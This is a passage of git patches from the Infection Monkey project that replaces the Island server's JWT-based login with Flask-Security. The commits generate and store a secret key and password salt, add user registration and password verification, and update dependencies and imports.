b/monkey/tests/unit_tests/monkey_island/cc/models/test_user_credentials.py deleted file mode 100644 index b90edde2ce5..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/models/test_user_credentials.py +++ /dev/null @@ -1,36 +0,0 @@ -from monkey_island.cc.models import UserCredentials - -TEST_USER = "Test" -TEST_HASH = "abc1231234" - - -def test_bool_true(): - assert UserCredentials(TEST_USER, TEST_HASH) - - -def test_bool_false_empty_password_hash(): - assert not UserCredentials(TEST_USER, "") - - -def test_bool_false_empty_user(): - assert not UserCredentials("", TEST_HASH) - - -def test_bool_false_empty_user_and_password_hash(): - assert not UserCredentials("", "") - - -def test_to_dict_empty_creds(): - user_creds = UserCredentials("", "") - assert user_creds.to_dict() == {} - - -def test_to_dict_full_creds(): - user_creds = UserCredentials(TEST_USER, TEST_HASH) - assert user_creds.to_dict() == {"user": TEST_USER, "password_hash": TEST_HASH} - - -def test_member_values(monkeypatch): - creds = UserCredentials(TEST_USER, TEST_HASH) - assert creds.username == TEST_USER - assert creds.password_hash == TEST_HASH From e60dea803af6ee14186ae0c5f3f857d72e9d6607 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Feb 2023 17:47:40 +0100 Subject: [PATCH 0365/1338] Common: Remove `UnknownUserError` exception --- monkey/common/utils/exceptions.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index e5c36aa8f02..7ba937b5e1c 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -10,10 +10,6 @@ class AlreadyRegisteredError(Exception): """Raise to indicate the reason why registration is not required""" -class UnknownUserError(Exception): - """Raise to indicate that authentication failed""" - - class IncorrectCredentialsError(Exception): """Raise to indicate that authentication failed""" From 371489247f945dd9c731ad642bff81bcdc7de0cf Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Fri, 24 Feb 2023 11:00:27 +0000 Subject: [PATCH 0366/1338] Island: Add flask security and flask mongoengine to Pipfile --- monkey/monkey_island/Pipfile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index 4549bc51b9a..ae3c2b13b8d 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -36,6 +36,8 @@ pyyaml = "*" semver = "==2.13.0" flask-login = "*" flask-wtf = "*" +flask-security = "*" +flask-mongoengine = "*" [dev-packages] virtualenv = "==20.16.2" # Pinned to 20.16.2 due to importlib-metadat/flake8 issue From 868258fa07dfddfa0f480784a163159204c5243c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 24 Feb 2023 12:04:11 +0100 Subject: [PATCH 0367/1338] Island: Add server_utils.generate_flask_secret_key --- .../monkey_island/cc/server_utils/__init__.py | 1 + .../cc/server_utils/setup_flask.py | 19 +++++++++++++++++++ 2 files changed, 20 insertions(+) create mode 100644 monkey/monkey_island/cc/server_utils/setup_flask.py diff --git a/monkey/monkey_island/cc/server_utils/__init__.py b/monkey/monkey_island/cc/server_utils/__init__.py index e69de29bb2d..7efdef88471 100644 --- a/monkey/monkey_island/cc/server_utils/__init__.py +++ b/monkey/monkey_island/cc/server_utils/__init__.py @@ -0,0 +1 @@ +from .setup_flask import generate_flask_secret_key diff --git a/monkey/monkey_island/cc/server_utils/setup_flask.py b/monkey/monkey_island/cc/server_utils/setup_flask.py new file mode 100644 index 00000000000..2355edd175a --- /dev/null +++ b/monkey/monkey_island/cc/server_utils/setup_flask.py @@ -0,0 +1,19 @@ +import secrets +from pathlib import Path + +from common.utils.file_utils import open_new_securely_permissioned_file + +SECRET_FILE_NAME = ".flask_secret" + + +def generate_flask_secret_key(data_dir: Path) -> str: + SECRET_FILE_PATH = str(data_dir / SECRET_FILE_NAME) + try: + with open(SECRET_FILE_PATH, "r") as secret_file: + return secret_file.read() + except FileNotFoundError: + with open_new_securely_permissioned_file(SECRET_FILE_PATH, "w") as secret_file: + secret_key = secrets.token_urlsafe(32) + secret_file.write(secret_key) + + return secret_key From 4187a1e03dc0ee4a32684cb92ac20fc19ee459e6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 24 Feb 2023 12:04:51 +0100 Subject: [PATCH 0368/1338] Island: Fix RoleMixin import in Role model --- monkey/monkey_island/cc/models/role.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/models/role.py b/monkey/monkey_island/cc/models/role.py index eaea0bd5aa1..1ab7d49540d 100644 --- a/monkey/monkey_island/cc/models/role.py +++ b/monkey/monkey_island/cc/models/role.py @@ -1,6 +1,6 @@ from __future__ import annotations -from flask_login import RoleMixin +from flask_security import RoleMixin from mongoengine import Document, StringField From 564c15dc1cc2395151a545ea89f1d9ff9260becc Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 24 Feb 2023 12:07:27 +0100 Subject: [PATCH 0369/1338] Island: Init setup of flask security in app --- monkey/monkey_island/cc/app.py | 37 +++++++++++++++---------- monkey/monkey_island/cc/server_setup.py | 2 +- 2 files changed, 24 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 486462eb06c..8b4579320b1 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -1,12 +1,14 @@ import os -import uuid -from datetime import timedelta +from pathlib import Path import flask_restful from flask import Flask, Response, send_from_directory +from flask_mongoengine import MongoEngine +from flask_security import MongoEngineUserDatastore, Security from werkzeug.exceptions import NotFound from common import DIContainer +from monkey_island.cc.models import Role, User from monkey_island.cc.flask_utils import FlaskDIWrapper from monkey_island.cc.resources import ( AgentBinaries, @@ -27,7 +29,7 @@ ResetAgentConfiguration, TerminateAllAgents, ) -from monkey_island.cc.resources.auth import Authenticate, Register, RegistrationStatus, init_jwt +from monkey_island.cc.resources.auth import Authenticate, Register, RegistrationStatus from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun @@ -35,12 +37,12 @@ from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.security_report import SecurityReport from monkey_island.cc.resources.version import Version +from monkey_island.cc.server_utils import generate_flask_secret_key from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.services import register_agent_configuration_resources from monkey_island.cc.services.representations import output_json HOME_FILE = "index.html" -AUTH_EXPIRATION_TIME = timedelta(minutes=30) def serve_static_file(static_path): @@ -66,15 +68,19 @@ def serve_home(): return serve_static_file(HOME_FILE) -def init_app_config(app, mongo_url): +def init_app_config(app, mongo_url, data_dir: Path): + db = MongoEngine(app) app.config["MONGO_URI"] = mongo_url + app.config["MONGODB_SETTINGS"] = [ + { + "db": "monkeyisland", + "host": "localhost", + "port": 27017, + "alias": "flask-security", + } + ] - # See https://flask-jwt-extended.readthedocs.io/en/stable/options - app.config["JWT_ACCESS_TOKEN_EXPIRES"] = AUTH_EXPIRATION_TIME - # Invalidate the signature of JWTs if the server process restarts. This avoids the edge case - # of getting a JWT, - # deciding to reset credentials and then still logging in with the old JWT. - app.config["JWT_SECRET_KEY"] = str(uuid.uuid4()) + app.config["SECRET_KEY"] = generate_flask_secret_key(data_dir) # By default, Flask sorts keys of JSON objects alphabetically. # See https://flask.palletsprojects.com/en/1.1.x/config/#JSON_SORT_KEYS. @@ -82,6 +88,10 @@ def init_app_config(app, mongo_url): app.url_map.strict_slashes = False + # Setup Flask-Security + user_datastore = MongoEngineUserDatastore(db, User, Role) + _ = Security(app, user_datastore) + def init_app_url_rules(app): app.add_url_rule("/", "serve_home", serve_home) @@ -136,7 +146,7 @@ def init_rpc_endpoints(api: FlaskDIWrapper): api.add_resource(TerminateAllAgents) -def init_app(mongo_url: str, container: DIContainer): +def init_app(mongo_url: str, container: DIContainer, data_dir: Path): """ Simple docstirng for init_app @@ -148,8 +158,7 @@ def init_app(mongo_url: str, container: DIContainer): api = flask_restful.Api(app) api.representations = {"application/json": output_json} - init_app_config(app, mongo_url) - init_jwt(app) + init_app_config(app, mongo_url, data_dir) init_app_url_rules(app) flask_resource_manager = FlaskDIWrapper(api, container) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index e7771a332df..64b40954c63 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -176,7 +176,7 @@ def _start_island_server( ): _configure_gevent_exception_handling(config_options.data_dir) - app = init_app(mongo_setup.MONGO_URL, container) + app = init_app(mongo_setup.MONGO_URL, container, config_options.data_dir) if should_setup_only: logger.warning("Setup only flag passed. Exiting.") From c1046dcedae89a5a767c8bace7a61409436a1435 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 24 Feb 2023 12:12:54 +0100 Subject: [PATCH 0370/1338] Island: Remove unused init_jwt function --- monkey/monkey_island/cc/resources/auth/__init__.py | 2 +- monkey/monkey_island/cc/resources/auth/authenticate.py | 8 -------- 2 files changed, 1 insertion(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/__init__.py b/monkey/monkey_island/cc/resources/auth/__init__.py index d73489248a2..cb210cc56ad 100644 --- a/monkey/monkey_island/cc/resources/auth/__init__.py +++ b/monkey/monkey_island/cc/resources/auth/__init__.py @@ -1,3 +1,3 @@ -from .authenticate import Authenticate, init_jwt +from .authenticate import Authenticate from .register import Register from .registration_status import RegistrationStatus diff --git a/monkey/monkey_island/cc/resources/auth/authenticate.py b/monkey/monkey_island/cc/resources/auth/authenticate.py index 1663304dd95..c060d26c24f 100644 --- a/monkey/monkey_island/cc/resources/auth/authenticate.py +++ b/monkey/monkey_island/cc/resources/auth/authenticate.py @@ -1,7 +1,6 @@ import logging from http import HTTPStatus -import flask_jwt_extended from flask import make_response, request from common.utils.exceptions import IncorrectCredentialsError @@ -13,13 +12,6 @@ logger = logging.getLogger(__name__) -def init_jwt(app): - _ = flask_jwt_extended.JWTManager(app) - logger.debug( - "Initialized JWT with secret key that started with " + app.config["JWT_SECRET_KEY"][:4] - ) - - class Authenticate(AbstractResource): """ A resource for user authentication From e035f599ae5243f2c40f448e8024704d5aa949d5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 24 Feb 2023 12:48:13 +0100 Subject: [PATCH 0371/1338] Island: Add password salt to flask security configuration --- monkey/monkey_island/cc/app.py | 7 +++++-- monkey/monkey_island/cc/server_utils/__init__.py | 2 +- .../monkey_island/cc/server_utils/setup_flask.py | 15 ++++++++++----- 3 files changed, 16 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 8b4579320b1..135450f3f4f 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -37,7 +37,7 @@ from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.security_report import SecurityReport from monkey_island.cc.resources.version import Version -from monkey_island.cc.server_utils import generate_flask_secret_key +from monkey_island.cc.server_utils import generate_flask_security_configuration from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.services import register_agent_configuration_resources from monkey_island.cc.services.representations import output_json @@ -80,7 +80,10 @@ def init_app_config(app, mongo_url, data_dir: Path): } ] - app.config["SECRET_KEY"] = generate_flask_secret_key(data_dir) + flask_security_config = generate_flask_security_configuration(data_dir) + + app.config["SECRET_KEY"] = flask_security_config["secret_key"] + app.config["SECURITY_PASSWORD_SALT"] = flask_security_config["password_salt"] # By default, Flask sorts keys of JSON objects alphabetically. # See https://flask.palletsprojects.com/en/1.1.x/config/#JSON_SORT_KEYS. diff --git a/monkey/monkey_island/cc/server_utils/__init__.py b/monkey/monkey_island/cc/server_utils/__init__.py index 7efdef88471..9fff4a27a60 100644 --- a/monkey/monkey_island/cc/server_utils/__init__.py +++ b/monkey/monkey_island/cc/server_utils/__init__.py @@ -1 +1 @@ -from .setup_flask import generate_flask_secret_key +from .setup_flask import generate_flask_security_configuration diff --git a/monkey/monkey_island/cc/server_utils/setup_flask.py b/monkey/monkey_island/cc/server_utils/setup_flask.py index 2355edd175a..3a7ae933f8d 100644 --- a/monkey/monkey_island/cc/server_utils/setup_flask.py +++ b/monkey/monkey_island/cc/server_utils/setup_flask.py @@ -1,19 +1,24 @@ +import json import secrets from pathlib import Path +from typing import Any, Dict from common.utils.file_utils import open_new_securely_permissioned_file -SECRET_FILE_NAME = ".flask_secret" +SECRET_FILE_NAME = ".flask_security_configuration.json" -def generate_flask_secret_key(data_dir: Path) -> str: +def generate_flask_security_configuration(data_dir: Path) -> Dict[str, Any]: SECRET_FILE_PATH = str(data_dir / SECRET_FILE_NAME) try: with open(SECRET_FILE_PATH, "r") as secret_file: - return secret_file.read() + return json.load(secret_file) except FileNotFoundError: with open_new_securely_permissioned_file(SECRET_FILE_PATH, "w") as secret_file: secret_key = secrets.token_urlsafe(32) - secret_file.write(secret_key) + password_salt = secrets.SystemRandom().getrandbits(128) - return secret_key + security_options = {"secret_key": secret_key, "password_salt": password_salt} + json.dump(security_options, secret_file) + + return security_options From e7d04a9d537461e45c3d9a5beb49c1c36e7a8b6a Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Fri, 24 Feb 2023 13:13:49 +0000 Subject: [PATCH 0372/1338] Island: Remove unused packages in Pipfile --- monkey/monkey_island/Pipfile | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index ae3c2b13b8d..c041f57f30f 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -34,8 +34,6 @@ pydantic = "*" egg-timer = "*" pyyaml = "*" semver = "==2.13.0" -flask-login = "*" -flask-wtf = "*" flask-security = "*" flask-mongoengine = "*" From 271d42962aa7efa5abb92e63811f387087d7c501 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 24 Feb 2023 14:17:00 +0100 Subject: [PATCH 0373/1338] Island: Lower SECRET_FILE_PATH variable in setup_flask --- monkey/monkey_island/cc/server_utils/setup_flask.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/setup_flask.py b/monkey/monkey_island/cc/server_utils/setup_flask.py index 3a7ae933f8d..93c2fbef3bb 100644 --- a/monkey/monkey_island/cc/server_utils/setup_flask.py +++ b/monkey/monkey_island/cc/server_utils/setup_flask.py @@ -9,12 +9,12 @@ def generate_flask_security_configuration(data_dir: Path) -> Dict[str, Any]: - SECRET_FILE_PATH = str(data_dir / SECRET_FILE_NAME) + secret_file_path = str(data_dir / SECRET_FILE_NAME) try: - with open(SECRET_FILE_PATH, "r") as secret_file: + with open(secret_file_path, "r") as secret_file: return json.load(secret_file) except FileNotFoundError: - with open_new_securely_permissioned_file(SECRET_FILE_PATH, "w") as secret_file: + with open_new_securely_permissioned_file(secret_file_path, "w") as secret_file: secret_key = secrets.token_urlsafe(32) password_salt = secrets.SystemRandom().getrandbits(128) From 4c2adc9fbb64dd676ae10567baa7c162656ef720 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 24 Feb 2023 14:17:59 +0100 Subject: [PATCH 0374/1338] Island: Remove unassigned variable for flask_security --- monkey/monkey_island/cc/app.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 135450f3f4f..cb7bfa27fe3 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -93,7 +93,7 @@ def init_app_config(app, mongo_url, data_dir: Path): # Setup Flask-Security user_datastore = MongoEngineUserDatastore(db, User, Role) - _ = Security(app, user_datastore) + Security(app, user_datastore) def init_app_url_rules(app): From 3416d165bc2caa73a8ffc0c203334bb0376874d3 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 24 Feb 2023 14:20:00 +0100 Subject: [PATCH 0375/1338] Island: Enable username for User model in flask security --- monkey/monkey_island/cc/app.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index cb7bfa27fe3..c4b6a5b7c5d 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -84,6 +84,7 @@ def init_app_config(app, mongo_url, data_dir: Path): app.config["SECRET_KEY"] = flask_security_config["secret_key"] app.config["SECURITY_PASSWORD_SALT"] = flask_security_config["password_salt"] + app.config["SECURITY_USERNAME_ENABLE"] = True # By default, Flask sorts keys of JSON objects alphabetically. # See https://flask.palletsprojects.com/en/1.1.x/config/#JSON_SORT_KEYS. From 09dc70b8f08bc8a7dde7724e2093b4d8a39b6112 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 24 Feb 2023 15:13:58 +0100 Subject: [PATCH 0376/1338] Island: Add TODO for investigating flask security SECRET_KEY and password salt --- monkey/monkey_island/cc/app.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index c4b6a5b7c5d..528e8cef481 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -82,6 +82,9 @@ def init_app_config(app, mongo_url, data_dir: Path): flask_security_config = generate_flask_security_configuration(data_dir) + # TODO: After we switch to token base authentication investigate the purpose + # of `SECRET_KEY` and `SECURITY_PASSWORD_SALT`, take into consideration + # the discussion https://github.com/guardicore/monkey/pull/3006#discussion_r1116944571 app.config["SECRET_KEY"] = flask_security_config["secret_key"] app.config["SECURITY_PASSWORD_SALT"] = flask_security_config["password_salt"] app.config["SECURITY_USERNAME_ENABLE"] = True From f02370d23c63046bbef69ad6ffdc5dfecff00948 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 24 Feb 2023 15:22:33 +0100 Subject: [PATCH 0377/1338] Island: Use mongo constants in setting up flask security db --- monkey/monkey_island/cc/app.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 528e8cef481..bf561e64c09 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -41,6 +41,7 @@ from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.services import register_agent_configuration_resources from monkey_island.cc.services.representations import output_json +from monkey_island.cc.setup.mongo.mongo_setup import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT HOME_FILE = "index.html" @@ -73,9 +74,9 @@ def init_app_config(app, mongo_url, data_dir: Path): app.config["MONGO_URI"] = mongo_url app.config["MONGODB_SETTINGS"] = [ { - "db": "monkeyisland", - "host": "localhost", - "port": 27017, + "db": MONGO_DB_NAME, + "host": MONGO_DB_HOST, + "port": MONGO_DB_PORT, "alias": "flask-security", } ] From db371d33ae2b6dd6665f2150525eca515a975961 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Feb 2023 13:52:30 +0530 Subject: [PATCH 0378/1338] Common: Add UnknownUserError --- monkey/common/utils/exceptions.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 7ba937b5e1c..e5c36aa8f02 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -10,6 +10,10 @@ class AlreadyRegisteredError(Exception): """Raise to indicate the reason why registration is not required""" +class UnknownUserError(Exception): + """Raise to indicate that authentication failed""" + + class IncorrectCredentialsError(Exception): """Raise to indicate that authentication failed""" From ea70359e46708c116939e70f019438de9e04ea87 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Feb 2023 13:56:22 +0530 Subject: [PATCH 0379/1338] Island: Add user registration logic in AuthenticationService --- .../cc/services/authentication_service.py | 21 ++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 9c7455f086d..53534cc9d6c 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -1,8 +1,10 @@ from pathlib import Path +import bcrypt + from common.utils.exceptions import InvalidRegistrationCredentialsError from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.models import IslandMode +from monkey_island.cc.models import IslandMode, User from monkey_island.cc.server_utils.encryption import ILockableEncryptor @@ -21,6 +23,14 @@ def __init__( self._repository_encryptor = repository_encryptor self._island_event_queue = island_event_queue + def needs_registration(self) -> bool: + """ + Checks if a user is already registered on the Island + + :return: Whether registration is required on the Island + """ + return not User.objects.first() + def register_new_user(self, username: str, password: str): """ Registers a new user on the Island, then resets the encryptor and database @@ -32,6 +42,8 @@ def register_new_user(self, username: str, password: str): if not username or not password: raise InvalidRegistrationCredentialsError("Username or password can not be empty.") + User(username=username, password_hash=_hash_password(password)).save() + self._island_event_queue.publish(IslandEventTopic.CLEAR_SIMULATION_DATA) self._island_event_queue.publish(IslandEventTopic.RESET_AGENT_CONFIGURATION) self._island_event_queue.publish( @@ -53,5 +65,12 @@ def _reset_repository_encryptor(self, username: str, password: str): self._repository_encryptor.unlock(secret.encode()) +def _hash_password(plaintext_password: str) -> str: + salt = bcrypt.gensalt() + password_hash = bcrypt.hashpw(plaintext_password.encode("utf-8"), salt) + + return password_hash.decode() + + def _get_secret_from_credentials(username: str, password: str) -> str: return f"{username}:{password}" From f2eead0c81605512ff784d7b8f79f4462a5e7156 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Feb 2023 13:56:57 +0530 Subject: [PATCH 0380/1338] Island: Add user authentication logic in AuthenticationService --- .../cc/services/authentication_service.py | 26 ++++++++++++++++++- 1 file changed, 25 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 53534cc9d6c..51fca32541f 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -2,7 +2,11 @@ import bcrypt -from common.utils.exceptions import InvalidRegistrationCredentialsError +from common.utils.exceptions import ( + IncorrectCredentialsError, + InvalidRegistrationCredentialsError, + UnknownUserError, +) from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode, User from monkey_island.cc.server_utils.encryption import ILockableEncryptor @@ -53,8 +57,18 @@ def register_new_user(self, username: str, password: str): self._reset_repository_encryptor(username, password) def authenticate(self, username: str, password: str): + try: + registered_user = User.objects.first() + except UnknownUserError: + raise IncorrectCredentialsError() + + if not _credentials_match_registered_user(username, password, registered_user): + raise IncorrectCredentialsError() + self._unlock_repository_encryptor(username, password) + return registered_user + def _unlock_repository_encryptor(self, username: str, password: str): secret = _get_secret_from_credentials(username, password) self._repository_encryptor.unlock(secret.encode()) @@ -72,5 +86,15 @@ def _hash_password(plaintext_password: str) -> str: return password_hash.decode() +def _credentials_match_registered_user(username: str, password: str, registered_user: User) -> bool: + return (registered_user.username == username) and _password_matches_hash( + password, registered_user.password_hash + ) + + +def _password_matches_hash(plaintext_password: str, password_hash: str) -> bool: + return bcrypt.checkpw(plaintext_password.encode("utf-8"), password_hash.encode("utf-8")) + + def _get_secret_from_credentials(username: str, password: str) -> str: return f"{username}:{password}" From 202dfefc9c8c8167c647aeb377b653186100f68a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Feb 2023 14:05:13 +0530 Subject: [PATCH 0381/1338] Island: Use verify_and_update_password() to authenticate user in AuthenticationService --- .../cc/services/authentication_service.py | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 51fca32541f..c2198f31588 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -62,7 +62,7 @@ def authenticate(self, username: str, password: str): except UnknownUserError: raise IncorrectCredentialsError() - if not _credentials_match_registered_user(username, password, registered_user): + if not registered_user.verify_and_update_password(password): raise IncorrectCredentialsError() self._unlock_repository_encryptor(username, password) @@ -86,15 +86,5 @@ def _hash_password(plaintext_password: str) -> str: return password_hash.decode() -def _credentials_match_registered_user(username: str, password: str, registered_user: User) -> bool: - return (registered_user.username == username) and _password_matches_hash( - password, registered_user.password_hash - ) - - -def _password_matches_hash(plaintext_password: str, password_hash: str) -> bool: - return bcrypt.checkpw(plaintext_password.encode("utf-8"), password_hash.encode("utf-8")) - - def _get_secret_from_credentials(username: str, password: str) -> str: return f"{username}:{password}" From bb1514c21a951bfed56579b3c5cc180510df0a1b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 27 Feb 2023 17:29:37 +0100 Subject: [PATCH 0382/1338] Island: Use `password` instead of `password_hash` in User model --- monkey/monkey_island/cc/models/user.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/models/user.py b/monkey/monkey_island/cc/models/user.py index 7ac4d37c08f..5cc5de17760 100644 --- a/monkey/monkey_island/cc/models/user.py +++ b/monkey/monkey_island/cc/models/user.py @@ -8,9 +8,8 @@ class User(Document, UserMixin): username = StringField(max_length=255, unique=True) - password_hash = StringField() + password = StringField() active = BooleanField(default=True) - fs_uniquifier = StringField(max_length=64, unique=True) roles = ListField(ReferenceField(Role), default=[]) @staticmethod From b25e7656e71b7ccd6cd4228be094e2e1f6c54f60 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 27 Feb 2023 17:30:58 +0100 Subject: [PATCH 0383/1338] Island: Hash password before registering a user --- .../cc/services/authentication_service.py | 17 ++++------------- 1 file changed, 4 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index c2198f31588..382d1bd6458 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -1,6 +1,6 @@ from pathlib import Path -import bcrypt +from flask_security.utils import hash_password, verify_and_update_password from common.utils.exceptions import ( IncorrectCredentialsError, @@ -46,7 +46,7 @@ def register_new_user(self, username: str, password: str): if not username or not password: raise InvalidRegistrationCredentialsError("Username or password can not be empty.") - User(username=username, password_hash=_hash_password(password)).save() + User(username=username, password=hash_password(password)).save() self._island_event_queue.publish(IslandEventTopic.CLEAR_SIMULATION_DATA) self._island_event_queue.publish(IslandEventTopic.RESET_AGENT_CONFIGURATION) @@ -58,17 +58,15 @@ def register_new_user(self, username: str, password: str): def authenticate(self, username: str, password: str): try: - registered_user = User.objects.first() + registered_user = User.objects.filter(username=username).first() except UnknownUserError: raise IncorrectCredentialsError() - if not registered_user.verify_and_update_password(password): + if registered_user is None or not verify_and_update_password(password, registered_user): raise IncorrectCredentialsError() self._unlock_repository_encryptor(username, password) - return registered_user - def _unlock_repository_encryptor(self, username: str, password: str): secret = _get_secret_from_credentials(username, password) self._repository_encryptor.unlock(secret.encode()) @@ -79,12 +77,5 @@ def _reset_repository_encryptor(self, username: str, password: str): self._repository_encryptor.unlock(secret.encode()) -def _hash_password(plaintext_password: str) -> str: - salt = bcrypt.gensalt() - password_hash = bcrypt.hashpw(plaintext_password.encode("utf-8"), salt) - - return password_hash.decode() - - def _get_secret_from_credentials(username: str, password: str) -> str: return f"{username}:{password}" From 86ac5dd78b52e05a88ee582fb2bd82e93cde8448 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 27 Feb 2023 17:46:52 +0100 Subject: [PATCH 0384/1338] Island: Set app security to Security object --- monkey/monkey_island/cc/app.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index bf561e64c09..ce4d60a26be 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -98,7 +98,7 @@ def init_app_config(app, mongo_url, data_dir: Path): # Setup Flask-Security user_datastore = MongoEngineUserDatastore(db, User, Role) - Security(app, user_datastore) + app.security = Security(app, user_datastore) def init_app_url_rules(app): From 34f8aa179b3154086a85cf076f9d83196c067611 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 27 Feb 2023 17:47:37 +0100 Subject: [PATCH 0385/1338] Island: Cast password salt to be string --- monkey/monkey_island/cc/server_utils/setup_flask.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_utils/setup_flask.py b/monkey/monkey_island/cc/server_utils/setup_flask.py index 93c2fbef3bb..c2e1e1bf647 100644 --- a/monkey/monkey_island/cc/server_utils/setup_flask.py +++ b/monkey/monkey_island/cc/server_utils/setup_flask.py @@ -16,7 +16,7 @@ def generate_flask_security_configuration(data_dir: Path) -> Dict[str, Any]: except FileNotFoundError: with open_new_securely_permissioned_file(secret_file_path, "w") as secret_file: secret_key = secrets.token_urlsafe(32) - password_salt = secrets.SystemRandom().getrandbits(128) + password_salt = str(secrets.SystemRandom().getrandbits(128)) security_options = {"secret_key": secret_key, "password_salt": password_salt} json.dump(security_options, secret_file) From 9c8e2daaf9bef9192e19ea632524ee877122c604 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 27 Feb 2023 19:40:37 +0100 Subject: [PATCH 0386/1338] UT: Fix AuthenticationService tests --- 